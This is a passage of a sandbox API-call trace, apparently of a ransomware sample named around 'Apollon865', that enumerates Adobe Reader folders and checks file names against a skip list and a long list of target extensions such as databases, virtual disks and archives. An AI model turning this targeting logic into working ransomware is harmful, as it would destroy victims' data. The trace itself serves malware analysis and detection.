	[0057.784] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="JPN" | out: lpString1="JPN") returned="JPN"
	[0057.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0057.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599bc8
	[0057.784] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
	[0057.784] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="Apollon865.txt.exe") returned 1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2=".") returned 1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="..") returned 1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="windows") returned -1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="bootmgr") returned 1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="temp") returned -1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="pagefile.sys") returned -1
	[0057.784] lstrcmpiW (lpString1="KOR", lpString2="boot") returned 1
	[0057.785] lstrcmpiW (lpString1="KOR", lpString2="ids.txt") returned 1
	[0057.785] lstrcmpiW (lpString1="KOR", lpString2="ntuser.dat") returned -1
	[0057.785] lstrcmpiW (lpString1="KOR", lpString2="perflogs") returned -1
	[0057.785] lstrcmpiW (lpString1="KOR", lpString2="MSBuild") returned -1
	[0057.785] lstrlenW (lpString="KOR") returned 3
	[0057.785] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN") returned 79
	[0057.785] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="KOR" | out: lpString1="KOR") returned="KOR"
	[0057.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0057.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599c70
	[0057.785] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0057.785] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="Apollon865.txt.exe") returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2=".") returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="..") returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="windows") returned -1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="bootmgr") returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="temp") returned -1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="pagefile.sys") returned -1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="boot") returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="ids.txt") returned 1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="ntuser.dat") returned -1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="perflogs") returned -1
	[0057.785] lstrcmpiW (lpString1="NLD", lpString2="MSBuild") returned 1
	[0057.785] lstrlenW (lpString="NLD") returned 3
	[0057.785] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR") returned 79
	[0057.785] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="NLD" | out: lpString1="NLD") returned="NLD"
	[0057.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0057.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cafd0
	[0057.785] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0057.785] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1
	[0057.785] lstrcmpiW (lpString1="NOR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="Apollon865.txt.exe") returned 1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2=".") returned 1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="..") returned 1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="windows") returned -1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="bootmgr") returned 1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="temp") returned -1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="pagefile.sys") returned -1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="boot") returned 1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="ids.txt") returned 1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="ntuser.dat") returned -1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="perflogs") returned -1
	[0057.786] lstrcmpiW (lpString1="NOR", lpString2="MSBuild") returned 1
	[0057.786] lstrlenW (lpString="NOR") returned 3
	[0057.786] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD") returned 79
	[0057.786] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="NOR" | out: lpString1="NOR") returned="NOR"
	[0057.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0057.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb078
	[0057.786] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fc70
	[0057.786] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="Apollon865.txt.exe") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2=".") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="..") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="windows") returned -1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="bootmgr") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="temp") returned -1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="pagefile.sys") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="boot") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="ids.txt") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="ntuser.dat") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="perflogs") returned 1
	[0057.786] lstrcmpiW (lpString1="POL", lpString2="MSBuild") returned 1
	[0057.787] lstrlenW (lpString="POL") returned 3
	[0057.787] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR") returned 79
	[0057.787] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="POL" | out: lpString1="POL") returned="POL"
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb120
	[0057.787] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0057.787] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1
	[0057.787] lstrcmpiW (lpString1="PTB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.787] lstrcmpiW (lpString1="PTB", lpString2="Apollon865.txt.exe") returned 1
	[0057.787] lstrcmpiW (lpString1="PTB", lpString2=".") returned 1
	[0057.787] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="PTB" | out: lpString1="PTB") returned="PTB"
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb1c8
	[0057.787] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0057.787] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1
	[0057.787] lstrcmpiW (lpString1="RUM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.787] lstrcmpiW (lpString1="RUM", lpString2="Apollon865.txt.exe") returned 1
	[0057.787] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="RUM" | out: lpString1="RUM") returned="RUM"
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb270
	[0057.787] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd70
	[0057.787] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1
	[0057.787] lstrcmpiW (lpString1="RUS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.787] lstrcmpiW (lpString1="RUS", lpString2="Apollon865.txt.exe") returned 1
	[0057.787] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="RUS" | out: lpString1="RUS") returned="RUS"
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0057.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb318
	[0057.788] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fc10
	[0057.788] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1
	[0057.788] lstrcmpiW (lpString1="SKY", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.788] lstrcmpiW (lpString1="SKY", lpString2="Apollon865.txt.exe") returned 1
	[0057.788] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="SKY" | out: lpString1="SKY") returned="SKY"
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb3c0
	[0057.788] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0057.788] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1
	[0057.788] lstrcmpiW (lpString1="SLV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.788] lstrcmpiW (lpString1="SLV", lpString2="Apollon865.txt.exe") returned 1
	[0057.788] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="SLV" | out: lpString1="SLV") returned="SLV"
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb468
	[0057.788] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0057.788] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1
	[0057.788] lstrcmpiW (lpString1="SUO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.788] lstrcmpiW (lpString1="SUO", lpString2="Apollon865.txt.exe") returned 1
	[0057.788] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="SUO" | out: lpString1="SUO") returned="SUO"
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb510
	[0057.788] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0057.788] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1
	[0057.788] lstrcmpiW (lpString1="SVE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.788] lstrcmpiW (lpString1="SVE", lpString2="Apollon865.txt.exe") returned 1
	[0057.788] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="SVE" | out: lpString1="SVE") returned="SVE"
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0057.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb5b8
	[0057.789] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0057.789] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1
	[0057.789] lstrcmpiW (lpString1="TUR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.789] lstrcmpiW (lpString1="TUR", lpString2="Apollon865.txt.exe") returned 1
	[0057.789] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="TUR" | out: lpString1="TUR") returned="TUR"
	[0057.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0057.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb660
	[0057.789] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0057.789] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1
	[0057.789] lstrcmpiW (lpString1="UKR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.789] lstrcmpiW (lpString1="UKR", lpString2="Apollon865.txt.exe") returned 1
	[0057.789] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="UKR" | out: lpString1="UKR") returned="UKR"
	[0057.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0057.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5cb708
	[0057.789] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0057.789] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1
	[0057.789] lstrcmpiW (lpString1="Words.pdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.789] lstrcmpiW (lpString1="Words.pdf", lpString2="Apollon865.txt.exe") returned 1
	[0057.789] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Words.pdf" | out: lpString1="Words.pdf") returned="Words.pdf"
	[0057.789] lstrlenW (lpString="Words.pdf") returned 9
	[0057.789] lstrlenW (lpString="Apollon865") returned 10
	[0057.789] lstrlenW (lpString=".dll") returned 4
	[0057.789] lstrcmpiW (lpString1="Words.pdf", lpString2=".dll") returned 1
	[0057.789] lstrlenW (lpString=".lnk") returned 4
	[0057.789] lstrcmpiW (lpString1="Words.pdf", lpString2=".lnk") returned 1
	[0057.789] lstrlenW (lpString=".ini") returned 4
	[0057.789] lstrcmpiW (lpString1="Words.pdf", lpString2=".ini") returned 1
	[0057.789] lstrlenW (lpString=".sys") returned 4
	[0057.789] lstrcmpiW (lpString1="Words.pdf", lpString2=".sys") returned 1
	[0057.790] lstrlenW (lpString="Words.pdf") returned 9
	[0057.790] lstrlenW (lpString="bak") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="bak") returned 1
	[0057.790] lstrlenW (lpString="ba_") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="ba_") returned 1
	[0057.790] lstrlenW (lpString="dbb") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="dbb") returned 1
	[0057.790] lstrlenW (lpString="vmdk") returned 4
	[0057.790] lstrcmpiW (lpString1=".pdf", lpString2="vmdk") returned -1
	[0057.790] lstrlenW (lpString="rar") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="rar") returned -1
	[0057.790] lstrlenW (lpString="zip") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="zip") returned -1
	[0057.790] lstrlenW (lpString="tgz") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="tgz") returned -1
	[0057.790] lstrlenW (lpString="vbox") returned 4
	[0057.790] lstrcmpiW (lpString1=".pdf", lpString2="vbox") returned -1
	[0057.790] lstrlenW (lpString="vdi") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="vdi") returned -1
	[0057.790] lstrlenW (lpString="vhd") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="vhd") returned -1
	[0057.790] lstrlenW (lpString="vhdx") returned 4
	[0057.790] lstrcmpiW (lpString1=".pdf", lpString2="vhdx") returned -1
	[0057.790] lstrlenW (lpString="avhd") returned 4
	[0057.790] lstrcmpiW (lpString1=".pdf", lpString2="avhd") returned -1
	[0057.790] lstrlenW (lpString="db") returned 2
	[0057.790] lstrcmpiW (lpString1="df", lpString2="db") returned 1
	[0057.790] lstrlenW (lpString="db2") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="db2") returned 1
	[0057.790] lstrlenW (lpString="db3") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="db3") returned 1
	[0057.790] lstrlenW (lpString="dbf") returned 3
	[0057.790] lstrcmpiW (lpString1="pdf", lpString2="dbf") returned 1
	[0057.791] lstrlenW (lpString="mdf") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="mdf") returned 1
	[0057.791] lstrlenW (lpString="mdb") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="mdb") returned 1
	[0057.791] lstrlenW (lpString="sql") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="sql") returned -1
	[0057.791] lstrlenW (lpString="sqlite") returned 6
	[0057.791] lstrcmpiW (lpString1="ds.pdf", lpString2="sqlite") returned -1
	[0057.791] lstrlenW (lpString="sqlite3") returned 7
	[0057.791] lstrcmpiW (lpString1="rds.pdf", lpString2="sqlite3") returned -1
	[0057.791] lstrlenW (lpString="sqlitedb") returned 8
	[0057.791] lstrcmpiW (lpString1="ords.pdf", lpString2="sqlitedb") returned -1
	[0057.791] lstrlenW (lpString="xml") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="xml") returned -1
	[0057.791] lstrlenW (lpString="$er") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="$er") returned 1
	[0057.791] lstrlenW (lpString="4dd") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="4dd") returned 1
	[0057.791] lstrlenW (lpString="4dl") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="4dl") returned 1
	[0057.791] lstrlenW (lpString="^^^") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="^^^") returned 1
	[0057.791] lstrlenW (lpString="abs") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="abs") returned 1
	[0057.791] lstrlenW (lpString="abx") returned 3
	[0057.791] lstrcmpiW (lpString1="pdf", lpString2="abx") returned 1
	[0057.791] lstrlenW (lpString="accdb") returned 5
	[0057.791] lstrcmpiW (lpString1="s.pdf", lpString2="accdb") returned 1
	[0057.791] lstrlenW (lpString="accdc") returned 5
	[0057.791] lstrcmpiW (lpString1="s.pdf", lpString2="accdc") returned 1
	[0057.791] lstrlenW (lpString="accde") returned 5
	[0057.791] lstrcmpiW (lpString1="s.pdf", lpString2="accde") returned 1
	[0057.792] lstrlenW (lpString="accdr") returned 5
	[0057.792] lstrcmpiW (lpString1="s.pdf", lpString2="accdr") returned 1
	[0057.792] lstrlenW (lpString="accdt") returned 5
	[0057.792] lstrcmpiW (lpString1="s.pdf", lpString2="accdt") returned 1
	[0057.792] lstrlenW (lpString="accdw") returned 5
	[0057.792] lstrcmpiW (lpString1="s.pdf", lpString2="accdw") returned 1
	[0057.792] lstrlenW (lpString="accft") returned 5
	[0057.792] lstrcmpiW (lpString1="s.pdf", lpString2="accft") returned 1
	[0057.792] lstrlenW (lpString="adb") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="adb") returned 1
	[0057.792] lstrlenW (lpString="adb") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="adb") returned 1
	[0057.792] lstrlenW (lpString="ade") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="ade") returned 1
	[0057.792] lstrlenW (lpString="adf") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="adf") returned 1
	[0057.792] lstrlenW (lpString="adn") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="adn") returned 1
	[0057.792] lstrlenW (lpString="adp") returned 3
	[0057.792] lstrcmpiW (lpString1="pdf", lpString2="adp") returned 1
	[0057.792] lstrlenW (lpString="alf") returned 3
